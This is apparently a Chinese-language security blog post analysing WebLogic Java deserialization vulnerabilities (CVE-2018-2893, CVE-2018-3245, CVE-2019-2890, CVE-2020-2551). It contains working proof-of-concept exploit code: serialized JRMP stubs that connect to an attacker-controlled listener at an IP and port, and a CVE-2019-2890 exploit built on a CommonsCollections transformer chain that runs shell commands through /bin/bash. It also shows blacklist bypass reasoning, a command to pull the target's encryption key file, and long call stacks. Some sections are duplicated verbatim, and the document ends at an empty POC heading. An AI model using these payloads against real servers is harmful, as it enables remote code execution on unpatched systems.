`}`` ` `public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {` `super.readExternal(var1);` `byte var2 = var1.readByte();` `byte var3 = (byte)(var2 & 127);` `if (var3 >= 1 && var3 <= 3) {` `switch(var3) {` `case 1:` `this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);` `BufferInputStream var4 = this.payload.getInputStream();` `ObjectInputStream var5 = new ObjectInputStream(var4);` `this.setBodyWritable(true);` `this.setPropertiesWritable(true);`` ` `try {` `while(true) {` `this.writeObject(var5.readObject());` `}` `} catch (EOFException var9) {` `try {` `this.reset();` `this.setPropertiesWritable(false);` `PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();` `this.payload = var7;` `} catch (JMSException var8) {` `JMSClientExceptionLogger.logStackTrace(var8);` `}` `} catch (MessageNotWriteableException var10) {` `JMSClientExceptionLogger.logStackTrace(var10);` `} catch (javax.jms.MessageFormatException var11) {` `JMSClientExceptionLogger.logStackTrace(var11);` `} catch (JMSException var12) {` `JMSClientExceptionLogger.logStackTrace(var12);` `}` `break;` `case 3:` `if ((var2 & -128) != 0) {` `this.readExternalCompressedMessageBody(var1);` `break;` `}` `case 2:` `this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);` `}`` ` `} else {` `throw JMSUtilities.versionIOException(var3, 1, 3);` `}` `}`` ` `public long getPayloadSize() {` `if (this.isCompressed()) {` `return (long)this.getCompressedMessageBodySize();` `} else if (super.bodySize != -1L) {` `return super.bodySize;` `} else if (this.payload != null) {` `return super.bodySize = (long)this.payload.getLength();` `} else {` `return this.bos != null ? (long)this.bos.size() : (super.bodySize = 0L);` `}` `}`` ` `private String typeCodeToString(int var1) {` `try {` `return TYPE_CODE_STRINGS[var1];` `} catch (Throwable var3) {` `return TYPE_CODE_STRINGS[0];` `}` `}`` ` `private void writeStringInternal(String var1) throws IOException, JMSException {` `if (var1.length() > 20000) {` `this.writeType((byte)10);` `this.bos.writeUTF32(var1);` `} else {` `this.writeType((byte)9);` `this.bos.writeUTF(var1);` `}`` ` `}`` ` `private String readStringInternal(byte var1) throws IOException {` `return var1 == 10 ? this.bis.readUTF32() : this.bis.readUTF();` `}`` ` `private long getLen() {` `if (this.bos != null) {` `return (long)this.bos.size();` `} else {` `return this.payload != null ? (long)this.payload.getLength() : 0L;` `}` `}`` ` `public long getBodyLength() throws JMSException {` `super.readMode();` `return this.getLen();` `}`` ` `public byte[] getBodyBytes() throws JMSException {` `Object var1;` `if (this.payload != null) {` `var1 = this.payload;` `} else {` `if (this.bos == null) {` `return new byte[0];` `}`` ` `var1 = this.bos;` `}`` ` `try {` `ByteArrayOutputStream var2 = new ByteArrayOutputStream();` `((Payload)var1).writeTo(var2);` `var2.flush();` `return var2.toByteArray();` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(var3);` `}` `}`` ` `public PayloadStream getPayload() throws JMSException {` `if (this.isCompressed()) {` `try {` `this.payload = (PayloadStream)this.decompress();` `} catch (IOException var2) {` `throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logErrorDecompressMessageBodyLoggable().getMessage(), var2);` `}` `}`` ` `return this.payload;` `}`` ` `public void setPayload(PayloadStream var1) {` `if (this.payload == null && this.bis == null && this.bos == null && !this.copyOnWrite) {` `try {` `this.writeMode();` `} catch (JMSException var3) {` `throw new AssertionError(var3);` `}`` ` `this.payload = var1;` `} else {` `throw new AssertionError();` `}` `}`` ` `public void setDataBuffer(byte[] object, int length) {` `}``}`
CVE-2018-2893
此CVE主要通过JDK7u21与8u20的原生反序列化链绕过之前黑名单中禁用的Common-collections库,就不赘述了。
同时黑名单进行了更新:
`private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };` `private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure",` `"org.codehaus.groovy.runtime.ConversionHandler",` `"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager",``"java.rmi.server.UnicastRemoteObject",` `"java.rmi.server.RemoteObjectInvocationHandler" };`
新增
`java.rmi.activation.*``sun.rmi.server.*``java.rmi.server.RemoteObjectInvocationHandler``java.rmi.server.UnicastRemoteObject`
CVE-2018-3245
上文中有提到新增黑名单包名/类名:java.rmi.activation.*,sun.rmi.server.*,java.rmi.server.RemoteObjectInvocationHandler,java.rmi.server.UnicastRemoteObject
但对我们完整的反序列化流程中真正有影响的只有java.rmi.server.RemoteObjectInvocationHandler类的使用,若有一个类满足:
1.不在黑名单中
2.继承自java.rmi.server.RemoteObject
3.readObject逻辑未重写,或不影响readExtenal方法调用
即可绕过黑名单检测。
随便找一个都行,比如RMIConnectionImpl_Stub
`import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;``import sun.rmi.server.UnicastRef;``import sun.rmi.transport.LiveRef;``import sun.rmi.transport.tcp.TCPEndpoint;`` ``import javax.management.remote.rmi.RMIConnectionImpl_Stub;``import java.io.*;``import java.rmi.server.ObjID;``import java.util.Base64;``import java.util.Random;`` ``public class CVE_2018_3245 {` `public static Object getObject() {` `ObjID id = new ObjID(new Random().nextInt());` `TCPEndpoint tcpEndpoint = new TCPEndpoint("10.51.52.245", 6666);` `UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));` `RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(unicastRef);` `ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);` `return stub;` `}`` ` `public static void main(String[] args) throws IOException, ClassNotFoundException {` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(getObject());` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));`` ``// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());``// ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);``// inputStream.readObject();`` ` `}``}`
其他可利用类就不赘述了。
CVE-2018-2893
此CVE主要通过JDK7u21与8u20的原生反序列化链绕过之前黑名单中禁用的Common-collections库,就不赘述了。
同时黑名单进行了更新:
`private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };` `private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure",` `"org.codehaus.groovy.runtime.ConversionHandler",` `"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager",``"java.rmi.server.UnicastRemoteObject",` `"java.rmi.server.RemoteObjectInvocationHandler" };`
新增
` ``java.rmi.activation.*``sun.rmi.server.*``java.rmi.server.RemoteObjectInvocationHandler``java.rmi.server.UnicastRemoteObject`
CVE-2018-3245
上文中有提到新增黑名单包名/类名:java.rmi.activation.*,sun.rmi.server.*,java.rmi.server.RemoteObjectInvocationHandler,java.rmi.server.UnicastRemoteObject
但对我们完整的反序列化流程中真正有影响的只有java.rmi.server.RemoteObjectInvocationHandler类的使用,若有一个类满足:
1.不在黑名单中
2.继承自java.rmi.server.RemoteObject
3.readObject逻辑未重写,或不影响readExtenal方法调用
即可绕过黑名单检测。
随便找一个都行,比如RMIConnectionImpl_Stub
`import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;``import sun.rmi.server.UnicastRef;``import sun.rmi.transport.LiveRef;``import sun.rmi.transport.tcp.TCPEndpoint;`` ``import javax.management.remote.rmi.RMIConnectionImpl_Stub;``import java.io.*;``import java.rmi.server.ObjID;``import java.util.Base64;``import java.util.Random;`` ``public class CVE_2018_3245 {` `public static Object getObject() {` `ObjID id = new ObjID(new Random().nextInt());` `TCPEndpoint tcpEndpoint = new TCPEndpoint("10.51.52.245", 6666);` `UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));` `RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(unicastRef);` `ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);` `return stub;` `}`` ` `public static void main(String[] args) throws IOException, ClassNotFoundException {` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(getObject());` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));`` ``// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());``// ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);``// inputStream.readObject();`` ` `}``}`
其他可利用类就不赘述了。
CVE-2019-2890
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
问题出现在PersistentContext类上
在PersistentContext的readObject方法中会将ObjectInputStream类的var1对象传入readSubject方法
readSubject方法会先调用EncryptionUtil.decrypt()对传入的stream流进行解密,并将后续解密后的流量进行反序列化:
由于此处为ObjectInputStream原生的readObject(),并未有其他的readObject重写实现,故在后续过程中能够成功触发恶意反序列化利用链(下图为jrmp利用链执行结果)
调用栈如下
`registerRefs:155, DGCClient (sun.rmi.transport)``read:312, LiveRef (sun.rmi.transport)``readExternal:493, UnicastRef (sun.rmi.server)``readObject:455, RemoteObject (java.rmi.server)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``invokeReadObject:1058, ObjectStreamClass (java.io)``readSerialData:2122, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``defaultReadFields:2231, ObjectInputStream (java.io)``readSerialData:2155, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readSubject:168, PersistentContext (weblogic.wsee.jaxws.persistence)``readObject:147, PersistentContext (weblogic.wsee.jaxws.persistence)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``invokeReadObject:1058, ObjectStreamClass (java.io)``readSerialData:2122, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readObject:66, InboundMsgAbbrev (weblogic.rjvm)``read:38, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)``init:213, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:967, SocketMuxer (weblogic.socket)``readReadySocket:899, SocketMuxer (weblogic.socket)``processSockets:130, PosixSocketMuxer (weblogic.socket)``run:29, SocketReaderRequest (weblogic.socket)``execute:42, SocketReaderRequest (weblogic.socket)``execute:145, ExecuteThread (weblogic.kernel)``run:117, ExecuteThread (weblogic.kernel)`
该漏洞存在一定的利用条件,构造poc时需要目标服务器weblogic当前使用域下的SerializedSystemIni.dat文件,否则将无法构造PersistentContext类或是目标服务器decrypt失败:
docker cp weblogic1036jdk8u121:/u01/app/oracle/Domains/ExampleSilentWTDomain/security/SerializedSystemIni.dat ./
官方修复方案:
在PersistentContext类进行readSubject方法时新增WSFilteringObjectInputStream,其resolveClass方法仅允许Subject的子类进行后续反序列化操作:
POC:
`import sun.rmi.server.UnicastRef;``import sun.rmi.transport.LiveRef;``import sun.rmi.transport.tcp.TCPEndpoint;``import weblogic.kernel.KernelStatus;``import weblogic.wsee.jaxws.persistence.PersistentContext;``import weblogic.kernel.KernelStatus.*;`` ``import java.io.*;``import java.lang.reflect.Field;``import java.lang.reflect.Proxy;``import java.rmi.registry.Registry;``import java.rmi.server.ObjID;``import java.rmi.server.RemoteObjectInvocationHandler;``import java.util.Base64;``import java.util.Random;`` ``public class CVE_2019_2890 {` `public static Registry getObject(String command) throws Exception {` `int sep = command.indexOf(58);` `String host;` `int port;` `if (sep < 0) {` `port = (new Random()).nextInt(65535);` `host = command;` `} else {` `host = command.substring(0, sep);` `port = Integer.valueOf(command.substring(sep + 1));` `}`` ` `ObjID id = new ObjID((new Random()).nextInt());` `TCPEndpoint te = new TCPEndpoint(host, port);` `UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));` `RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);` `Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);` `return proxy;` `}` `public static void main(String[] args) throws Exception {` `System.setProperty("com.bea.core.internal.client","true");` `PersistentContext pc = new PersistentContext(null,null,null,null,null, POC.getObject());` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(pc);` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));` `}``}`` ``//cc5 poc`` ``import org.apache.commons.collections.Transformer;``import org.apache.commons.collections.functors.ChainedTransformer;``import org.apache.commons.collections.functors.ConstantTransformer;``import org.apache.commons.collections.functors.InvokerTransformer;``import org.apache.commons.collections.keyvalue.TiedMapEntry;``import org.apache.commons.collections.map.LazyMap;`` ``import javax.management.BadAttributeValueExpException;``import java.lang.reflect.Field;``import java.util.HashMap;``import java.util.Map;`` ``public class POC {` `public static Object getObject() throws Exception {`` ` `String enableUnsafeSerialization = System.getProperty("org.apache.commons.collections.enableUnsafeSerialization");` `System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");``// String cmd = "touch /tmp/success123";` `String cmd = "open -a Calculator.app";` `Transformer[] tarray = new Transformer[]` `{` `new ConstantTransformer(Runtime.class),` `new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),` `new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),` `new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c", cmd}})` `};` `Transformer chainedTransformer = new ChainedTransformer(tarray);` `Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);` `TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "a");` `BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);` `setValue(badAttributeValueExpException, "val", tiedMapEntry);` `return badAttributeValueExpException;` `}` `public static void main(String[] args) throws Exception {` `}`` ` `public static void setValue(Object obj, String name, Object value) throws Exception {` `Field field = obj.getClass().getDeclaredField(name);` `field.setAccessible(true);` `field.set(obj, value);` `}`` ``}`` ``//PersistentContext``package weblogic.wsee.jaxws.persistence;`` ``import com.sun.istack.NotNull;``import com.sun.istack.Nullable;``import java.io.ByteArrayInputStream;``import java.io.ByteArrayOutputStream;``import java.io.IOException;``import java.io.ObjectInputStream;``import java.io.ObjectOutputStream;``import java.io.Serializable;``import java.security.AccessController;``import java.util.Map;``import java.util.Set;``import java.util.concurrent.locks.ReentrantReadWriteLock;``import weblogic.kernel.KernelStatus;``import weblogic.security.acl.internal.AuthenticatedSubject;``import weblogic.security.service.PrivilegedActions;``import weblogic.security.service.SecurityServiceManager;``import weblogic.security.subject.SubjectManager;``import weblogic.wsee.WseeCoreLogger;``import weblogic.wsee.persistence.AbstractStorable;``//import weblogic.wsee.server.EncryptionUtil;``import weblogic.wsee.jaxws.persistence.EncryptionUtil;`` `` `` ``public class PersistentContext extends AbstractStorable {` `private static final long serialVersionUID = 1L;` `private static final AuthenticatedSubject KERNEL_ID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());` `private transient ReentrantReadWriteLock _lock;` `private Map<String, Serializable> _propertyMap;` `private Set<String> _propBagClassNames;` `private Map<String, Serializable> _contextPropertyMap;` `private Map<String, Serializable> _invocationPropertyMap;` `private AuthenticatedSubject _subject;` `private PersistentContext.State _state;` `private Object evil;`` ` `public static PersistentContextStore getStoreMap(String var0) {` `try {` `return PersistentContextStore.getStore(var0);` `} catch (Exception var2) {` `throw new RuntimeException(var2.toString(), var2);` `}` `}`` ` `private static AuthenticatedSubject getCurrentSubject() {` `AuthenticatedSubject var0 = SecurityServiceManager.getCurrentSubject(KERNEL_ID);` `return var0;` `}`` ` `private void writeObject(ObjectOutputStream var1) throws IOException {` `try {` `this._lock.readLock().lock();` `var1.writeObject(this._propertyMap);` `var1.writeObject(this._propBagClassNames);` `var1.writeObject(this._contextPropertyMap);` `var1.writeObject(this._invocationPropertyMap);` `var1.writeObject(this._state);` `this.writeSubject(var1);` `} finally {` `this._lock.readLock().unlock();` `}`` ` `}`` ` `private void writeSubject(ObjectOutputStream var1) throws IOException {` `ByteArrayOutputStream var2 = new ByteArrayOutputStream();` `ObjectOutputStream var3 = new ObjectOutputStream(var2);`` ` `//if (SubjectManager.getSubjectManager().isKernelIdentity(this._subject)) {` `// AuthenticatedSubject var4 = (AuthenticatedSubject)SubjectManager.getSubjectManager().getAnonymousSubject();` `// var3.writeObject(var4);` `//} else {` `// var3.writeObject(this._subject);` `//}` `try {` `var3.writeObject(this.evil);` `} catch (Exception e) {` `e.printStackTrace();` `}`` ` `var3.flush();` `byte[] var5 = var2.toByteArray();` `//if (KernelStatus.isServer()) {` `// var5 = EncryptionUtil.encrypt(var5);` `//}` `//var5 = EncryptionUtil.encrypt(var5);`` ` `var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);`` ` `var1.writeInt(var5.length);` `var1.write(var5);` `}`` ` `private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {` `this.initTransients();`` ` `try {` `this._lock.writeLock().lock();` `this._propertyMap = (Map)var1.readObject();` `this._propBagClassNames = (Set)var1.readObject();` `this._contextPropertyMap = (Map)var1.readObject();` `this._invocationPropertyMap = (Map)var1.readObject();` `this._state = (PersistentContext.State)var1.readObject();` `this.readSubject(var1);` `} finally {` `this._lock.writeLock().unlock();` `}`` ` `}`` ` `protected void initTransients() {` `this._lock = new ReentrantReadWriteLock(false);` `}`` ` `private void readSubject(ObjectInputStream var1) {` `try {` `int var2 = var1.readInt();` `byte[] var3 = new byte[var2];` `var1.readFully(var3);` `if (KernelStatus.isServer()) {` `var3 = EncryptionUtil.decrypt(var3);` `}`` ` `ByteArrayInputStream var4 = new ByteArrayInputStream(var3);` `ObjectInputStream var5 = new ObjectInputStream(var4);` `this._subject = (AuthenticatedSubject)var5.readObject();` `} catch (Exception var6) {` `WseeCoreLogger.logUnexpectedException("Couldn't completely read PersistentContext subject", var6);` `}`` ` `}`` ` `public PersistentContext(@NotNull String var1, @NotNull Map<String, Serializable> var2, @NotNull Set<String> var3, @Nullable Map<String, Serializable> var4, @NotNull Map<String, Serializable> var5,Object evil) {` `super(var1);` `this._propertyMap = var2;` `this._propBagClassNames = var3;` `this._contextPropertyMap = var4;` `this._invocationPropertyMap = var5;` `this._state = PersistentContext.State.UNUSED;` `AuthenticatedSubject var6 = getCurrentSubject();` `this.evil = evil;` `//if (SecurityServiceManager.isKernelIdentity(var6)) {` `// throw new IllegalStateException("Attempt to create PersistentContext using kernel identity. All actions that can create PersistentContext must run as a user principal");` `//} else {` `// this._subject = var6;` `// this.initTransients();` `// }` `this._subject = var6;` `this.initTransients();` `}`` ` `@NotNull` `public Map<String, Serializable> getPropertyMap() {` `Map var1;` `try {` `this._lock.readLock().lock();` `var1 = this._propertyMap;` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `@NotNull` `public Set<String> getPropertyBagClassNames() {` `Set var1;` `try {` `this._lock.readLock().lock();` `var1 = this._propBagClassNames;` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `@Nullable` `public Map<String, Serializable> getContextPropertyMap() {` `Map var1;` `try {` `this._lock.readLock().lock();` `var1 = this._contextPropertyMap;` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `@NotNull` `public Map<String, Serializable> getInvocationPropertyMap() {` `Map var1;` `try {` `this._lock.readLock().lock();` `var1 = this._invocationPropertyMap;` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `public PersistentContext.State getState() {` `this._lock.readLock().lock();`` ` `PersistentContext.State var1;` `try {` `var1 = this._state;` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `public void setState(PersistentContext.State var1) {` `this._lock.writeLock().lock();`` ` `try {` `this._state = var1;` `} finally {` `this._lock.writeLock().unlock();` `}`` ` `}`` ` `@NotNull` `public String getSubjectAsString() {` `String var1;` `try {` `this._lock.readLock().lock();` `var1 = this._subject.toString();` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `AuthenticatedSubject getSubject(AuthenticatedSubject var1) {` `if (!SecurityServiceManager.isKernelIdentity(var1)) {` `throw new SecurityException("Unauthorized access to PersistentContext.getSubject()");` `} else {` `AuthenticatedSubject var2;` `try {` `this._lock.readLock().lock();` `var2 = this._subject;` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var2;` `}` `}`` ` `public String getMessageId() {` `String var1;` `try {` `this._lock.readLock().lock();` `var1 = (String)this.getObjectId();` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `public boolean hasExplicitExpiration() {` `this._lock.readLock().lock();`` ` `boolean var1;` `try {` `var1 = this._state == PersistentContext.State.IN_USE;` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `public boolean isExpired() {` `this._lock.readLock().lock();`` ` `boolean var1;` `try {` `var1 = this._state != PersistentContext.State.IN_USE;` `} finally {` `this._lock.readLock().unlock();` `}`` ` `return var1;` `}`` ` `public static enum State {` `UNUSED,` `IN_USE,` `OBSOLETE;`` ` `private State() {` `}` `}`` ``}`` ``//EncryptionUtil`` ``package weblogic.wsee.jaxws.persistence;`` ``import java.security.AccessController;``import weblogic.kernel.Kernel;``import weblogic.security.acl.internal.AuthenticatedSubject;``import weblogic.security.internal.SerializedSystemIni;``import weblogic.security.internal.encryption.EncryptionService;``import weblogic.security.service.PrivilegedActions;``import weblogic.security.service.SecurityServiceManager;`` ``public final class EncryptionUtil {` `private static final AuthenticatedSubject kernelID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());` `private static EncryptionService es = null;`` ` `public EncryptionUtil() {` `}`` ` `public static byte[] encrypt(byte[] var0) {` `return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;` `}`` ` `public static byte[] decrypt(byte[] var0) {` `if (Kernel.isServer()) {` `SecurityServiceManager.checkKernelIdentity(kernelID);` `return getEncryptionService().decryptBytes(var0);` `} else {` `return var0;` `}` `}`` ` `public static final EncryptionService getEncryptionService() {` `if (es == null) {` `es = SerializedSystemIni.getExistingEncryptionService();` `}`` ` `return es;` `}``}`
CVE-2020-2551
影响范围:
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
漏洞分析
先看Weblogic对IIOP协议的处理逻辑。
weblogic有一个dispatch方法,专门用于处理不同协议请求:
由MuxableSocketDiscriminator负责具体分发至相应的MuxableSocket类(这里是MuxableSocketIIOP,后续所使用的类都是在weblogic.iiop下的具体实现)
再交由对应的ConnectionManager处理:
通过调用ConnectionManager.dispatch,进入到EndPointlmpl中:
由processMessage处理:
`final void processMessage(Message var1) throws IOException {` `switch (var1.getMsgType()) {` `case 0:` `this.handleIncomingRequest(var1);` `return;` `case 1:` `if (this.negotiatedRequestId >= 0) {` `synchronized(this.bootstrapLock) {` `if (this.negotiatedRequestId >= 0 && this.negotiatedRequestId == var1.getRequestID()) {` `this.setFlag(this.bootstrapFlags);` `this.negotiatedRequestId = -1;` `}` `}` `}`` ` `this.handleIncomingResponse(var1);` `return;` `case 2:` `return;` `case 3:` `this.handleLocateRequest(var1);` `return;` `case 4:` `this.handleLocateReply(var1);` `return;` `case 5:` `this.handleCloseConnection(var1);` `return;` `case 6:` `if (Kernel.getDebug().getDebugIIOP()) {` `this.p("handling message error");` `}`` ` `this.handleMessageError(var1);` `return;` `case 7:` `this.processFragment(var1);` `return;` `default:` `if (Kernel.getDebug().getDebugIIOP()) {` `this.p("handling unknown message");` `}`` ` `this.gotExceptionReceiving(Utils.mapToCORBAException(new UnmarshalException("Unkown message type: " + var1.getMsgType())));` `}``}`
最终给到BasicServerRef,在其dispatch方法中,新起一个ExecuteRequest线程用于处理对应的request
IIOP协议部分的处理逻辑大概如上述。
后续request处理部分,从BasicServerRef.invoke开始:
在_NamingContextAnyImplBase中,调用bind_any()之前将会先执行read_any()方法:
跟进之后发现其实也就是IIOPInputStream的readObject方法:
中间的调用过程很长,最终会调用到JtaTransactionManager的readObject方法:
最终通过:initUserTransactionAndTransactionManager()->initUserTransactionAndTransactionManager()->lookupUserTransaction()->getJndiTemplate.lookup()->ctx.lookup()触发JNDI:
调用栈如下
`lookup:417, InitialContext (javax.naming)``doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)``execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)``lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)``lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)``lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)``initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)``readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``readObject:314, ObjectStreamClass (weblogic.utils.io)``readValueData:281, ValueHandlerImpl (weblogic.corba.utils)``readValue:93, ValueHandlerImpl (weblogic.corba.utils)``read_value:2128, IIOPInputStream (weblogic.iiop)``read_value:1936, IIOPInputStream (weblogic.iiop)``read_abstract_interface:2271, IIOPInputStream (weblogic.iiop)``readObject:2752, IIOPInputStream (weblogic.iiop)``readObjectOverride:164, ObjectInputStreamImpl (weblogic.iiop)``readObject:416, ObjectInputStream (java.io)``readObject:1404, HashMap (java.util)``invoke:-1, GeneratedMethodAccessor2 (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``readObject:314, ObjectStreamClass (weblogic.utils.io)``readValueData:281, ValueHandlerImpl (weblogic.corba.utils)``readValue:93, ValueHandlerImpl (weblogic.corba.utils)``read_value:2128, IIOPInputStream (weblogic.iiop)``readObject:2788, IIOPInputStream (weblogic.iiop)``read:326, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)``access$800:242, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)``readFields:195, ObjectInputStreamImpl (weblogic.iiop)``readObject:429, AnnotationInvocationHandler (sun.reflect.annotation)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``readObject:314, ObjectStreamClass (weblogic.utils.io)``readValueData:281, ValueHandlerImpl (weblogic.corba.utils)``readValue:93, ValueHandlerImpl (weblogic.corba.utils)``read_value:2128, IIOPInputStream (weblogic.iiop)``read_abstract_interface:2279, IIOPInputStream (weblogic.iiop)``readObject:2785, IIOPInputStream (weblogic.iiop)``readFields:460, ObjectStreamClass (weblogic.utils.io)``readValueData:294, ValueHandlerImpl (weblogic.corba.utils)``readValue:93, ValueHandlerImpl (weblogic.corba.utils)``read_value:2128, IIOPInputStream (weblogic.iiop)``read_value:1936, IIOPInputStream (weblogic.iiop)``read_value_internal:220, AnyImpl (weblogic.corba.idl)``read_value:115, AnyImpl (weblogic.corba.idl)``read_any:1648, IIOPInputStream (weblogic.iiop)``read_any:1641, IIOPInputStream (weblogic.iiop)``_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)``invoke:249, CorbaServerRef (weblogic.corba.idl)``invoke:230, ClusterableServerRef (weblogic.rmi.cluster)``run:522, BasicServerRef$1 (weblogic.rmi.internal)``doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)``runAs:146, SecurityManager (weblogic.security.service)``handleRequest:518, BasicServerRef (weblogic.rmi.internal)``run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)``execute:256, ExecuteThread (weblogic.work)``run:221, ExecuteThread (weblogic.work)`
POC:
